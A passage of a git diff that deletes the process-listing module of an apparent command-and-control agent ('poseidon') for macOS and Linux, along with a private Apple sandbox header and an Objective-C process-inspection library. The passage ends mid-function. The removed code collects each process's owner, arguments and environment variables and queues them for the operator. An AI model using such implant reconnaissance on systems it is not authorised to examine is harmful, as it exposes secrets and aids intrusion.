-#define SANDBOX_NAMED_BUILTIN 0x0002
-
-/*
- * @define SANDBOX_NAMED_EXTERNAL The `profile' argument specifies the
- * pathname of a Sandbox profile. The pathname may be abbreviated: If
- * the name does not start with a `/' it is treated as relative to
- * /usr/share/sandbox and a `.sb' suffix is appended.
- */
-#define SANDBOX_NAMED_EXTERNAL 0x0003
-
-/*
- * @define SANDBOX_NAMED_MASK Mask for name types: 4 bits, 15 possible
- * name types, 3 currently defined.
- */
-#define SANDBOX_NAMED_MASK 0x000f
-
-#endif /* __APPLE_API_PRIVATE */
-
-/*
- * Available Sandbox profiles.
- */
-
-/* TCP/IP networking is prohibited. */
-extern const char kSBXProfileNoInternet[];
-
-/* All sockets-based networking is prohibited. */
-extern const char kSBXProfileNoNetwork[];
-
-/* File system writes are prohibited. */
-extern const char kSBXProfileNoWrite[];
-
-/* File system writes are restricted to temporary folders /var/tmp and
- * confstr(_CS_DARWIN_USER_DIR, ...).
- */
-extern const char kSBXProfileNoWriteExceptTemporary[];
-
-/* All operating system services are prohibited. */
-extern const char kSBXProfilePureComputation[];
-
-/*
- * @function sandbox_free_error
- * Deallocates an error string previously allocated by sandbox_init.
- *
- * @param errorbuf (input) The buffer to be freed. Must be a pointer
- * previously returned by sandbox_init in the `errorbuf' argument, or NULL.
- *
- * @result void
- */
-void sandbox_free_error(char *errorbuf);
-
-
-#ifdef __APPLE_API_PRIVATE
-
-/* The following definitions are reserved for Mac OS X. Developers should not
- * depend on their availability.
- */
-
-int sandbox_init_with_parameters(const char *profile, uint64_t flags, const char *const parameters[], char **errorbuf);
-
-int sandbox_init_with_extensions(const char *profile, uint64_t flags, const char *const extensions[], char **errorbuf);
-
-enum sandbox_filter_type {
- SANDBOX_FILTER_NONE,
- SANDBOX_FILTER_PATH,
- SANDBOX_FILTER_GLOBAL_NAME,
- SANDBOX_FILTER_LOCAL_NAME,
- SANDBOX_FILTER_APPLEEVENT_DESTINATION,
- SANDBOX_FILTER_RIGHT_NAME,
-};
-
-extern const enum sandbox_filter_type SANDBOX_CHECK_NO_REPORT __attribute__((weak_import));
-
-enum sandbox_extension_flags {
- FS_EXT_DEFAULTS = 0,
- FS_EXT_FOR_PATH = (1 << 0),
- FS_EXT_FOR_FILE = (1 << 1),
- FS_EXT_READ = (1 << 2),
- FS_EXT_WRITE = (1 << 3),
- FS_EXT_PREFER_FILEID = (1 << 4),
-};
-
-int sandbox_check(pid_t pid, const char *operation, enum sandbox_filter_type type, ...);
-
-int sandbox_note(const char *note);
-
-int sandbox_suspend(pid_t pid);
-int sandbox_unsuspend(void);
-
-int sandbox_issue_extension(const char *path, char **ext_token);
-int sandbox_issue_fs_extension(const char *path, uint64_t flags, char **ext_token);
-int sandbox_issue_fs_rw_extension(const char *path, char **ext_token);
-int sandbox_issue_mach_extension(const char *name, char **ext_token);
-
-int sandbox_consume_extension(const char *path, const char *ext_token);
-int sandbox_consume_fs_extension(const char *ext_token, char **path);
-int sandbox_consume_mach_extension(const char *ext_token, char **name);
-
-int sandbox_release_fs_extension(const char *ext_token);
-
-int sandbox_container_path_for_pid(pid_t pid, char *buffer, size_t bufsize);
-
-int sandbox_wakeup_daemon(char **errorbuf);
-
-const char *_amkrtemp(const char *);
-
-#endif /* __APPLE_API_PRIVATE */
-
-__END_DECLS
-#endif /* _SANDBOX_H_ */
diff --git a/Payload_Types/poseidon/agent_code/ps/ps.go b/Payload_Types/poseidon/agent_code/ps/ps.go
deleted file mode 100755
index 2b0b5a53b..000000000
--- a/Payload_Types/poseidon/agent_code/ps/ps.go
+++ /dev/null
@@ -1,127 +0,0 @@
-package ps
-
-import (
- "encoding/json"
-
- "pkg/profiles"
- "pkg/utils/structs"
- "sync"
-)
-
-var mu sync.Mutex
-
-// Taken directly from Sliver's PS command. License file included in the folder
-
-//Process - platform agnostic Process interface
-type Process interface {
- // Pid is the process ID for this process.
- Pid() int
-
- // PPid is the parent process ID for this process.
- PPid() int
-
- // Arch is the x64 or x86
- Arch() string
-
- // Executable name running this process. This is not a path to the
- // executable.
- Executable() string
-
- // Owner is the account name of the process owner.
- Owner() string
-
- // bin_path of the running process
- BinPath() string
-
- // arguments
- ProcessArguments() []string
-
- //environment
- ProcessEnvironment() map[string]interface{}
-
- SandboxPath() string
-
- ScriptingProperties() map[string]interface{}
-
- Name() string
-
- BundleID() string
-}
-
-//ProcessArray - struct that will hold all of the Process results
-type ProcessArray struct {
- Results []ProcessDetails `json:"Processes"`
-}
-
-type ProcessDetails struct {
- ProcessID int `json:"process_id"`
- ParentProcessID int `json:"parent_process_id"`
- Arch string `json:"architecture"`
- User string `json:"user"`
- BinPath string `json:"bin_path"`
- Arguments []string `json:"args"`
- Environment map[string]interface{} `json:"env"`
- SandboxPath string `json:"sandboxpath"`
- ScriptingProperties map[string]interface{} `json:"scripting_properties"`
- Name string `json:"name"`
- BundleID string `json:"bundleid"`
-}
-
-//Run - interface method that retrieves a process list
-func Run(task structs.Task) {
- procs, err := Processes()
- msg := structs.Response{}
- msg.TaskID = task.TaskID
- if err != nil {
- msg.UserOutput = err.Error()
- msg.Completed = true
- msg.Status = "error"
-
- resp, _ := json.Marshal(msg)
- mu.Lock()
- profiles.TaskResponses = append(profiles.TaskResponses, resp)
- mu.Unlock()
- return
- }
-
- p := make([]ProcessDetails, len(procs))
-
- // Loop over the process results and add them to the json object array
- for index := 0; index < len(procs); index++ {
- p[index].Arch = procs[index].Arch()
- p[index].ProcessID = procs[index].Pid()
- p[index].ParentProcessID = procs[index].PPid()
- p[index].User = procs[index].Owner()
- //p[index].Path = procs[index].Executable()
- p[index].BinPath = procs[index].BinPath()
- p[index].Arguments = procs[index].ProcessArguments()
- p[index].Environment = procs[index].ProcessEnvironment()
- p[index].SandboxPath = procs[index].SandboxPath()
- p[index].ScriptingProperties = procs[index].ScriptingProperties()
- p[index].Name = procs[index].Name()
- p[index].BundleID = procs[index].BundleID()
- }
-
- var pa ProcessArray
- pa.Results = p
- jsonProcs, er := json.MarshalIndent(p, "", " ")
-
- if er != nil {
- msg.UserOutput = err.Error()
- msg.Completed = true
- msg.Status = "error"
-
- resp, _ := json.Marshal(msg)
- mu.Lock()
- profiles.TaskResponses = append(profiles.TaskResponses, resp)
- mu.Unlock()
- return
- }
- msg.Completed = true
- msg.UserOutput = string(jsonProcs)
- resp, _ := json.Marshal(msg)
- mu.Lock()
- profiles.TaskResponses = append(profiles.TaskResponses, resp)
- mu.Unlock()
- return
-}
diff --git a/Payload_Types/poseidon/agent_code/ps/ps_darwin.go b/Payload_Types/poseidon/agent_code/ps/ps_darwin.go
deleted file mode 100755
index 401247179..000000000
--- a/Payload_Types/poseidon/agent_code/ps/ps_darwin.go
+++ /dev/null
@@ -1,251 +0,0 @@
-// +build darwin
-
-package ps
-
-/*
-#cgo LDFLAGS: -framework AppKit -framework Foundation -framework ApplicationServices
-#cgo CFLAGS: -x objective-c
-#include "rdprocess_darwin.h"
-
-char* GetProcInfo(int pid) {
- RDProcess *p = [[RDProcess alloc] initWithPID:pid];
- NSMutableDictionary *proc_details = [@{
- @"bundleID":p.bundleID ? : @"",
- @"args":p.launchArguments ? : @"",
- @"path":p.executablePath ? : @"",
- @"user":p.ownerUserName ? : @"",
- @"full_username":p.ownerFullUserName ? : @"",
- @"env":p.environmentVariables ? : @"",
- @"sandboxcontainer":p.sandboxContainerPath ? : @"",
- @"pid":[NSNumber numberWithInt:p.pid],
- @"scripting_properties":p.scriptingProperties ? : @"",
- @"name":p.processName ? : @""
- }mutableCopy];
-
- NSError *error = nil;
- if ([NSJSONSerialization isValidJSONObject:proc_details]) {
- NSData* jsonData = [NSJSONSerialization dataWithJSONObject:proc_details options:NSJSONWritingPrettyPrinted error:&error];
-
- if (jsonData != nil && error == nil)
- {
- NSString *jsonString = [[NSString alloc] initWithData:jsonData encoding:NSUTF8StringEncoding];
-
- return [jsonString UTF8String];
- }
- }
-
- return "";
-}
-
-*/
-import "C"
-import (
- "bytes"
- "encoding/binary"
- "encoding/json"
- "syscall"
- "unsafe"
-)
-
-type ProcDetails struct {
- BundleID string `json:"bundleID,omitempty"`
- Args []string `json:"args,omitempty"`
- Path string `json:"path,omitempty"`
- User string `json:"user,omitempty"`
- FullUsername string `json:"full_username,omitempty"`
- Env json.RawMessage `json:"env,omitempty"`
- SandboxPath string `json:"sandboxcontainer,omitempty"`
- Pid int `json:"pid,omitempty"`
- ScriptingProperties json.RawMessage `json:"scripting_properties,omitempty"`
- Name string `json:"name,omitempty"`
-}
-
-type DarwinProcess struct {
- pid int
- ppid int
- binary string
- architecture string
- owner string
- args []string
- env map[string]interface{}
- sandboxpath string
- scriptingproperties map[string]interface{}
- name string
- bundleid string
-}
-
-func (p *DarwinProcess) Pid() int {
- return p.pid
-}
-
-func (p *DarwinProcess) PPid() int {
- return p.ppid
-}
-
-func (p *DarwinProcess) Executable() string {
- return p.name
-}
-
-func (p *DarwinProcess) Arch() string {
- return p.architecture
-}
-
-func (p *DarwinProcess) Owner() string {
- return p.owner
-}
-
-func (p *DarwinProcess) BinPath() string {
- return p.binary
-}
-
-func (p *DarwinProcess) ProcessArguments() []string {
- return p.args
-}
-
-func (p *DarwinProcess) ProcessEnvironment() map[string]interface{} {
- return p.env
-}
-
-func (p *DarwinProcess) SandboxPath() string {
- return p.sandboxpath
-}
-
-func (p *DarwinProcess) ScriptingProperties() map[string]interface{} {
- return p.scriptingproperties
-}
-
-func (p *DarwinProcess) Name() string {
- return p.name
-}
-
-func (p *DarwinProcess) BundleID() string {
- return p.bundleid
-}
-
-func findProcess(pid int) (Process, error) {
- ps, err := Processes()
- if err != nil {
- return nil, err
- }
-
- for _, p := range ps {
- if p.Pid() == pid {
- return p, nil
- }
- }
-
- return nil, nil
-}
-
-func Processes() ([]Process, error) {
- buf, err := darwinSyscall()
- if err != nil {
- return nil, err
- }
-
- procs := make([]*kinfoProc, 0, 50)
- k := 0
- for i := _KINFO_STRUCT_SIZE; i < buf.Len(); i += _KINFO_STRUCT_SIZE {
- proc := &kinfoProc{}
- err = binary.Read(bytes.NewBuffer(buf.Bytes()[k:i]), binary.LittleEndian, proc)
- if err != nil {
- return nil, err
- }
-
- k = i
- procs = append(procs, proc)
- }
-
- darwinProcs := make([]Process, len(procs))
- for i, p := range procs {
- cpid := C.int(p.Pid)
- cresult := C.GetProcInfo(cpid)
- raw := C.GoString(cresult)
- r := []byte(raw)
- pinfo := ProcDetails{}
- var envJson map[string]interface{}
- var scrptProps map[string]interface{}
- _ = json.Unmarshal(r, &pinfo)
- _ = json.Unmarshal([]byte(pinfo.Env), &envJson)
- _ = json.Unmarshal([]byte(pinfo.ScriptingProperties), &scrptProps)
- darwinProcs[i] = &DarwinProcess{
- pid: int(p.Pid),
- ppid: int(p.PPid),
- binary: pinfo.Path,
- owner: pinfo.User,
- args: pinfo.Args,
- env: envJson,
- sandboxpath: pinfo.SandboxPath,
- scriptingproperties: scrptProps,
- name: pinfo.Name,
- bundleid: pinfo.BundleID,
- }
-
- }
-
- return darwinProcs, nil
-}
-
-func darwinCstring(s [16]byte) string {
- i := 0
- for _, b := range s {
- if b != 0 {
- i++
- } else {
- break
- }
- }
-
- return string(s[:i])
-}
-
-func darwinSyscall() (*bytes.Buffer, error) {
- mib := [4]int32{_CTRL_KERN, _KERN_PROC, _KERN_PROC_ALL, 0}
- size := uintptr(0)
-
- _, _, errno := syscall.Syscall6(
- syscall.SYS___SYSCTL,
- uintptr(unsafe.Pointer(&mib[0])),
- 4,
- 0,
- uintptr(unsafe.Pointer(&size)),
- 0,
- 0)
-
- if errno != 0 {
- return nil, errno
- }
-
- bs := make([]byte, size)
- _, _, errno = syscall.Syscall6(
- syscall.SYS___SYSCTL,
- uintptr(unsafe.Pointer(&mib[0])),
- 4,
- uintptr(unsafe.Pointer(&bs[0])),
- uintptr(unsafe.Pointer(&size)),
- 0,
- 0)
-
- if errno != 0 {
- return nil, errno
- }
-
- return bytes.NewBuffer(bs[0:size]), nil
-}
-
-const (
- _CTRL_KERN = 1
- _KERN_PROC = 14
- _KERN_PROC_ALL = 0
- _KINFO_STRUCT_SIZE = 648
-)
-
-type kinfoProc struct {
- _ [40]byte
- Pid int32
- _ [199]byte
- Comm [16]byte
- _ [301]byte
- PPid int32
- _ [84]byte
-}
diff --git a/Payload_Types/poseidon/agent_code/ps/ps_linux.go b/Payload_Types/poseidon/agent_code/ps/ps_linux.go
deleted file mode 100755
index 24d6e7149..000000000
--- a/Payload_Types/poseidon/agent_code/ps/ps_linux.go
+++ /dev/null
@@ -1,196 +0,0 @@
-// +build linux
-
-package ps
-
-import (
- "fmt"
- "io"
- "io/ioutil"
- "os"
- "os/user"
- "strconv"
- "strings"
- "syscall"
-)
-
-// UnixProcess is an implementation of Process
-// that contains Unix-specific fields and information.
-type UnixProcess struct {
- pid int
- ppid int
- state rune
- pgrp int
- sid int
- architecture string
- binary string
- owner string
- bin_path string
-}
-
-// Pid returns the process identifier
-func (p *UnixProcess) Pid() int {
- return p.pid
-}
-
-// PPid returns the parent process identifier
-func (p *UnixProcess) PPid() int {
- return p.ppid
-}
-
-func (p *UnixProcess) Arch() string {
- return p.architecture
-}
-
-// Executable returns the process name
-func (p *UnixProcess) Executable() string {
- return p.binary
-}
-
-// Owner returns the username the process belongs to
-func (p *UnixProcess) Owner() string {
- return p.owner
-}
-
-func (p *UnixProcess) BinPath() string {
- return p.bin_path
-}
-
-func (p *UnixProcess) ProcessArguments() []string {
- return []string{""}
-}
-
-func (p *UnixProcess) ProcessEnvironment() map[string]interface{} {
- var emptyMap map[string]interface{}
- return emptyMap
-}
-
-func (p *UnixProcess) SandboxPath() string {
- return ""
-}
-
-func (p *UnixProcess) ScriptingProperties() map[string]interface{} {
- var emptyMap map[string]interface{}
- return emptyMap
-}
-
-func (p *UnixProcess) Name() string {
- return p.binary
-}
-
-func (p *UnixProcess) BundleID() string {
- return ""
-}
-
-func getProcessCmdline(pid int) string {
- filename := fmt.Sprintf("/proc/%d/cmdline", pid)
- f, _ := ioutil.ReadFile(filename)
- p := strings.ReplaceAll(string(f), "\x00", " ")
- return p
-}
-func getProcessOwner(pid int) (string, error) {
- filename := fmt.Sprintf("/proc/%d/task", pid)
- f, _ := os.Open(filename)
- defer f.Close()
- fileStat := &syscall.Stat_t{}
- err := syscall.Fstat(int(f.Fd()), fileStat)
- if err != nil {
- return "", err
- }
- usr, err := user.LookupId(fmt.Sprintf("%d", fileStat.Uid))
- if err != nil {
- return "", err
- }
- return usr.Username, err
-}
-
-// Refresh reloads all the data associated with this process.
-func (p *UnixProcess) Refresh() error {
- statPath := fmt.Sprintf("/proc/%d/stat", p.pid)
- dataBytes, err := ioutil.ReadFile(statPath)
- if err != nil {
- return err
- }
-
- // First, parse out the image name
- data := string(dataBytes)
- binStart := strings.IndexRune(data, '(') + 1
- binEnd := strings.IndexRune(data[binStart:], ')')
- p.binary = data[binStart : binStart+binEnd]
-
- // Move past the image name and start parsing the rest
- data = data[binStart+binEnd+2:]
- _, err = fmt.Sscanf(data,
- "%c %d %d %d",
- &p.state,
- &p.ppid,
- &p.pgrp,
- &p.sid)
-
- return err
-}
-
-func findProcess(pid int) (Process, error) {
- ps, err := Processes()
- if err != nil {
- return nil, err
- }
- for _, p := range ps {
- if p.Pid() == pid {
- return p, nil
- }
- }
- return nil, fmt.Errorf("no process found for pid %d", pid)
-}
-
-func Processes() ([]Process, error) {
- d, err := os.Open("/proc")
- if err != nil {
- return nil, err
- }
- defer d.Close()
-
- results := make([]Process, 0, 50)
- for {
- fis, err := d.Readdir(10)
- if err == io.EOF {
- break
- }
- if err != nil {
- return nil, err
- }
-
- for _, fi := range fis {
- // We only care about directories, since all pids are dirs
- if !fi.IsDir() {
- continue
- }
- // We only care if the name starts with a numeric
- name := fi.Name()
- if name[0] < '0' || name[0] > '9' {
- continue
- }
- // From this point forward, any errors we just ignore, because
- // it might simply be that the process doesn't exist anymore.
- pid, err := strconv.ParseInt(name, 10, 0)
- if err != nil {
- continue
- }
- p, err := newUnixProcess(int(pid))
- if err != nil {
- continue
- }
- p.owner, err = getProcessOwner(int(pid))
- if err != nil {
- continue
- }
- p.bin_path = getProcessCmdline(int(pid))
- results = append(results, p)
- }
- }
- return results, nil
-}
-
-func newUnixProcess(pid int) (*UnixProcess, error) {
- p := &UnixProcess{pid: pid}
- return p, p.Refresh()
-}
diff --git a/Payload_Types/poseidon/agent_code/ps/rdprocess_darwin.h b/Payload_Types/poseidon/agent_code/ps/rdprocess_darwin.h
deleted file mode 100644
index f63324408..000000000
--- a/Payload_Types/poseidon/agent_code/ps/rdprocess_darwin.h
+++ /dev/null
@@ -1,146 +0,0 @@
-#import
-#import
-
-typedef void (^RDProcessEnumerator)(id process, NSString *bundleID, BOOL *stop);
-
-@interface RDProcess : NSObject
-
-#pragma mark Initialization with PID
-
-- (instancetype)init __attribute__((unavailable("use -initWithPID: instead")));
-/**
- * Returns a process for specified PID with following fields pre-initiated:
- * - PID value
- * - Process name (via either LaunchServices API or argv[0]-based value)
- * - Bundle ID
- * - Executable path (via either LaunchServices API or proc_pidpath() or, if nothing else, argv[0]-based value)
- *
- * @param {(pid_t} aPid the PID of a target process
- */
-- (instancetype)initWithPID: (pid_t)aPid;
-
-#pragma mark Creation with Bundle ID
-
-+ (instancetype)oldestProcessWithBundleID: (NSString *)bundleID;
-+ (instancetype)youngestProcessWithBundleID: (NSString *)bundleID;
-+ (void)enumerateProcessesWithBundleID: (NSString *)bundleID usingBlock: (RDProcessEnumerator)block;
-+ (NSArray *)allProcessesWithBundleID: (NSString *)bundleID;
-
-- (pid_t)pid;
-/**
- * A name of the process (using either LaunchServices API or argv[0]-based value)
- *
- * @return this method should not return `nil` value, but the value may be invalid any other way,
- * so it's up to you to verify it.
- */
-- (NSString *)processName;
-/**
- * Sets a new title for the process.
- *
- * @brief
- * This method sets a new value for LaunchServices' "Display Name" key of the process;
- * Please, note that some utils like `ps` or `top` rather depend on an argv[0] value than
- * on the "Display Name".
- * @param
- * {NSString *} new title for the process
- * @return
- * {BOOL} Always NO (0)
- */
-- (BOOL)setProcessName: (NSString *)new_proc_name;
-/**
- * These methods will return (obviously) `nil` for non-bundled applications.
- */
-- (NSString *)bundleID;
-- (NSURL *)bundleURL;
-- (NSString *)bundlePath;
-
-- (NSURL *)executableURL;
-- (NSString *)executablePath;
-/**
- * UID, name and full name for a user who owns this process.
- */
-- (uid_t)ownerUserID;
-- (NSString *)ownerUserName;
-- (NSString *)ownerFullUserName;
-/**
- * List of groups of which the user is member of.
- *
- * @format: Keys are groupd ids, values are groups names;
- */
-- (NSDictionary *)ownerGroups;
-
-
-/**
- * Check if the process is sanboxed by OS X.
- *
- * @note
- * this method returns YES for any process with invalid PID, so you should also check if
- * [proc sandboxContainerPath] is not nil.
- *
- * @return {BOOL} YES or NO, or neither.
- */
-- (BOOL)isSandboxedByOSX;
-/**
- * Sandbox container path for the process (if it has one).
- * @return
- * {NSString *} containter path or `nil` if the process is not sandboxed.
- */
-- (NSString *)sandboxContainerPath;
-- (NSURL *)sandboxContainerURL;
-- (BOOL)canWriteToFileAtPath: (NSString *)file_path;
-- (BOOL)canWriteToFileAtURL: (NSURL *)file_url;
-- (BOOL)canReadFileAtPath: (NSString *)file_path;
-- (BOOL)canReadFileAtURL: (NSURL *)file_url;
-
-
-/**
- * ARGV and ENV values of a process
- *
- * @brief
- * Until the current user is not a member of `procmod` group, these method will work only for
- * processes owned by this user (for other's processes they return `nil`).
- */
-- (NSArray *)launchArguments;
-/* @note variable values are percent escaped */
-- (NSDictionary *)environmentVariables;
-
-
-
-
-
-/* ------------------------{ NOT IMPLEMENTED YET }------------------------ */
-
-/**
- * More sandbox stuff
- */
-- (int)_enableSandbox __attribute__((unavailable("not implemented yet")));
-- (BOOL)_isSandboxedByUser __attribute__((unavailable("not implemented yet")));
-// gonna crash it down
-- (int)_disableSandbox __attribute__((unavailable("not implemented yet")));
-
-// Intel
-- (NSString *)architectureString __attribute__((unavailable("not implemented yet")));
-// smth like "Intel (64 bit)"
-- (NSString *)kindString __attribute__((unavailable("not implemented yet")));
-- (BOOL)is64bit __attribute__((unavailable("not implemented yet")));
-
-
-// 0-100%
-- (NSUInteger)CPUUsagePercentages __attribute__((unavailable("not implemented yet")));
-// msec
-- (NSUInteger)CPUTimeMsec __attribute__((unavailable("not implemented yet")));
-
-- (NSUInteger)threadsCount __attribute__((unavailable("not implemented yet")));
-- (NSUInteger)activeThreadsCount __attribute__((unavailable("not implemented yet")));
-- (NSUInteger)inactiveThreadsCount __attribute__((unavailable("not implemented yet")));
-- (NSUInteger)openPortsCount __attribute__((unavailable("not implemented yet")));
-
-- (NSUInteger)memoryUsageRealBytes __attribute__((unavailable("not implemented yet")));
-- (NSUInteger)memoryUsageRealPrivateBytes __attribute__((unavailable("not implemented yet")));
-- (NSUInteger)memoryUsageRealSharedBytes __attribute__((unavailable("not implemented yet")));
-- (NSUInteger)memoryUsageVirtualPrivateBytes __attribute__((unavailable("not implemented yet")));
-
-- (NSUInteger)messagesSent __attribute__((unavailable("not implemented yet")));
-- (NSUInteger)messagesReceived __attribute__((unavailable("not implemented yet")));
-
-@end
diff --git a/Payload_Types/poseidon/agent_code/ps/rdprocess_darwin.m b/Payload_Types/poseidon/agent_code/ps/rdprocess_darwin.m
deleted file mode 100644
index 5a1c5e96d..000000000
--- a/Payload_Types/poseidon/agent_code/ps/rdprocess_darwin.m
+++ /dev/null
@@ -1,782 +0,0 @@
-#import
-#import
-#import
-#import
-#import
-#import
-#import
-
-#import "rdprocess_darwin.h"
-#import "apple_sandbox_darwin.h"
-
-
-#define RDSymbolNameStr(symbol) (CFSTR("_"#symbol))
-#define kPasswdBufferSize (128)
-#define kSandboxContainerPathBufferSize (2024)
-#define kLaunchServicesMagicConstant (-2) // or (-1), the difference is unknown
-
-static CFTypeRef (*LSCopyApplicationInformation)(int, const void*, CFArrayRef) = NULL;
-static CFTypeRef (*LSSetApplicationInformation)(int, CFTypeRef, CFDictionaryRef, void *) = NULL;
-static CFTypeRef (*LSASNCreateWithPid)(CFAllocatorRef, pid_t) = NULL;
-
-static CFStringRef (kLSDisplayNameKey) = NULL;
-static CFStringRef (kLSPIDKey) = NULL;
-static CFStringRef (kLSBundlePathKey) = NULL;
-static CFStringRef (kLSExecutablePathKey) = NULL;
-
-typedef NS_ENUM(NSUInteger, RDProcessForBundleIDEnumerationOption) {
- kRDProcessForBundleIDYoungest = 0,
- kRDProcessForBundleIDOldest,
- kRDProcessForBundleIDAll
-};
-
-
-static const CFStringRef kLaunchServicesBundleID = CFSTR("com.apple.LaunchServices");
-
-@interface RDProcess()
-{
- /* General *dynamic* info */
- pid_t _pid;
- NSString *_process_name;
- NSString *_bundle_id, *_bundle_path;
- NSString *_executable_path;
- uid_t _uid;
- NSString *_owner_user_name, *_owner_full_user_name;
-
- /* Sanboxing */
- BOOL _sandboxed; // sandboxed by OS X
- BOOL _sandboxed_by_user;
- NSString *_sandbox_container_path;
-
- /* stuff */
- NSArray *_launch_args;
- NSDictionary *_env_variables;
-
- /* Not implemented yet */
- NSString *kind_string;
- NSUInteger cpu_usage, cpu_time_msec;
- NSUInteger threads_count, open_ports_count;
- NSUInteger memory_real_bytes, memory_real_private_bytes,
- memory_real_shared_bytes, memory_virtual_private_bytes;
- NSUInteger messages_sent, messages_received;
-
- NSLock *lock;
-}
-+ (BOOL)_checkIfWeCanAccessPIDAtTheMoment: (pid_t)a_pid;
-+ (NSArray *)_lookupForProcessesWithBundleID: (NSString *)bundleID options: (RDProcessForBundleIDEnumerationOption)option;
-
-- (void)_requestOwnerNames;
-- (BOOL)_requestProcessArgumentsAndEnvironment;
-- (BOOL)_checkSandboxOperation: (const char *)operation forItemAtPath: (NSString *)item_path;
-
-- (BOOL)_findLSPrivateSymbols;
-- (void)_fetchNewDataFromLaunchServicesWithAtLeastOneKey: (CFStringRef)key;
-- (void)_updateWithLSDictionary: (CFDictionaryRef)dictionary;
-@end
-
-@implementation RDProcess
-
-
-- (instancetype)initWithPID: (pid_t)a_pid
-{
- BOOL pid_is_available = [[self class] _checkIfWeCanAccessPIDAtTheMoment: a_pid];
- if (NO == pid_is_available) {
- return (nil);
- }
- if ((self = [super init])) {
- _pid = a_pid;
- _uid = -1;
- _owner_user_name = nil;
- _owner_full_user_name = nil;
-
- [self _fetchNewDataFromLaunchServicesWithAtLeastOneKey: NULL];
- }
-
- return (self);
-}
-
-+ (instancetype)oldestProcessWithBundleID: (NSString *)bundleID
-{
- return [[self _lookupForProcessesWithBundleID: bundleID option: kRDProcessForBundleIDOldest] lastObject];
-}
-
-+ (instancetype)youngestProcessWithBundleID: (NSString *)bundleID
-{
- return [[self _lookupForProcessesWithBundleID: bundleID option: kRDProcessForBundleIDYoungest] lastObject];
-}
-
-+ (void)enumerateProcessesWithBundleID: (NSString *)bundleID usingBlock: (RDProcessEnumerator)block
-{
- if (!block) {
- return;
- }
- NSArray *procs = [self allProcessesWithBundleID: bundleID];
- if (!procs) {
- return;
- }
- [procs enumerateObjectsUsingBlock: ^(id process, NSUInteger idx, BOOL *stop){
- block(process, bundleID, stop);
- }];
-}
-
-+ (NSArray *)allProcessesWithBundleID: (NSString *)bundleID
-{
- return [self _lookupForProcessesWithBundleID: bundleID option: kRDProcessForBundleIDAll];
-}
-
-+ (BOOL)_checkIfWeCanAccessPIDAtTheMoment: (pid_t)a_pid
-{
- if (a_pid < 0) return NO;
- /**
- * kill(0) here is an indicator that we have a process with
- * such PID and can access it.
- */
- int err = kill(a_pid, 0);
- switch (err) {
- case (-1): {
- //NSLog(@"Could not access pid (%d)", a_pid);
- return (errno != ESRCH);
- }
- case (0): {
- return YES;
- }
- default: {
- //NSLog(@"Pid %d doesn't exist", a_pid);
- return NO;
- }
- }
-}
-
-+ (NSArray *)_lookupForProcessesWithBundleID: (NSString *)bundleID option: (RDProcessForBundleIDEnumerationOption)option
-{
- if (bundleID.length == 0) {
- return (nil);
- }
-
- ProcessSerialNumber psn = {0, kNoProcess};
- UInt32 oldest_proc_launch_date = UINT32_MAX,
- youngest_proc_launch_date = 0;
-
- NSMutableArray *procs = nil;
- BOOL find_youngest = (option == kRDProcessForBundleIDYoungest);
- BOOL find_oldest = (option == kRDProcessForBundleIDOldest);
- pid_t target_pid = (-1);
- BOOL find_all = !(find_youngest || find_oldest);
- if (find_all) {
- procs = [[NSMutableArray alloc] init];
- }
- /**
- * Seems like the only *public* way to iterate over all running processes is GetNextProcess()
- * which is a simple wrapper for LSCopyRunningApplicationArray().
- *
- * So, @todo: use LSCopyRunningApplicationArray() directly.
- */
- while (KERN_SUCCESS == GetNextProcess(&psn)) {
- struct ProcessInfoRec info = {0};
- info.processInfoLength = sizeof(&info);
- int err = GetProcessInformation(&psn, &info);
- if (err != KERN_SUCCESS) {
- //NSLog(@"GetProcessInformation returned %d: %@",
- //err, [NSError errorWithDomain: NSOSStatusErrorDomain code: err userInfo: nil]);
- continue;
- }
-
- pid_t pid = 0;
- GetProcessPID(&psn, &pid);
- CFTypeRef asn = LSASNCreateWithPid(kCFAllocatorDefault, pid);
-
- CFDictionaryRef proc_info = LSCopyApplicationInformation(kLaunchServicesMagicConstant, asn, NULL);
- CFRelease(asn);
- if (!proc_info) {
- continue;
- }
-
- CFStringRef found_bundle_id = CFDictionaryGetValue(proc_info, kCFBundleIdentifierKey);
- if (!found_bundle_id) {
- CFRelease(proc_info);
- continue;
- }
- BOOL (^checkIfBundleIDMatches)(CFStringRef, CFStringRef) = ^BOOL(CFStringRef a, CFStringRef b) {
- return (CFStringCompare(a, b, 0) == kCFCompareEqualTo);
- };
-
- if (find_oldest && info.processLaunchDate < oldest_proc_launch_date) {
- if (checkIfBundleIDMatches(found_bundle_id, (CFStringRef)CFBridgingRetain(bundleID))) {
- oldest_proc_launch_date = info.processLaunchDate;
- target_pid = pid;
- }
- }
- if (find_youngest && info.processLaunchDate > youngest_proc_launch_date) {
- if (checkIfBundleIDMatches(found_bundle_id, (CFStringRef)CFBridgingRetain(bundleID))) {
- youngest_proc_launch_date = info.processLaunchDate;
- target_pid = pid;
- }
- }
- if (find_all) {
- if (checkIfBundleIDMatches(found_bundle_id, (CFStringRef)CFBridgingRetain(bundleID))) {
- [procs addObject: [[RDProcess alloc] initWithPID: pid]];
- }
- }
-
- CFRelease(proc_info);
- }
-
- if (find_all) {
- NSArray *result = [NSArray arrayWithArray: procs];
-
- return (result);
-
- } else {
- if (target_pid == (-1)) {
- return nil;
- } else {
- return @[[[RDProcess alloc] initWithPID: target_pid]];
- }
- }
-}
-
-- (NSString *)description
-{
- return [NSString stringWithFormat: @"<%@: %@ (%@/%d) owned by %@ (%d)>",
- NSStringFromClass([self class]), self.processName, self.bundleID, self.pid,
- self.ownerUserName, self.ownerUserID];
-}
-
-- (NSString *)processName
-{
- if (!_process_name) {
- [self _fetchNewDataFromLaunchServicesWithAtLeastOneKey: kLSDisplayNameKey];
-
- if (!_process_name) {
- _process_name = [self.executablePath lastPathComponent];
- }
- }
-
- return _process_name;
-}
-
-- (BOOL)setProcessName: (NSString *)new_proc_name
-{
- if (self.processName.length == 0 || new_proc_name.length == 0) {
- return NO;
- }
- CFDictionaryRef tmp_dict = CFDictionaryCreate(kCFAllocatorDefault,
- (const void **)&kLSDisplayNameKey, (const void *)&new_proc_name,
- 1,
- &kCFTypeDictionaryKeyCallBacks, &kCFTypeDictionaryValueCallBacks);
-
- LSSetApplicationInformation(kLaunchServicesMagicConstant,
- LSASNCreateWithPid(kCFAllocatorDefault, self.pid),
- tmp_dict,
- NULL);
- CFRelease(tmp_dict);
- /* Force updating the process name value via LaunchServices */
- [self _fetchNewDataFromLaunchServicesWithAtLeastOneKey: kLSDisplayNameKey];
-
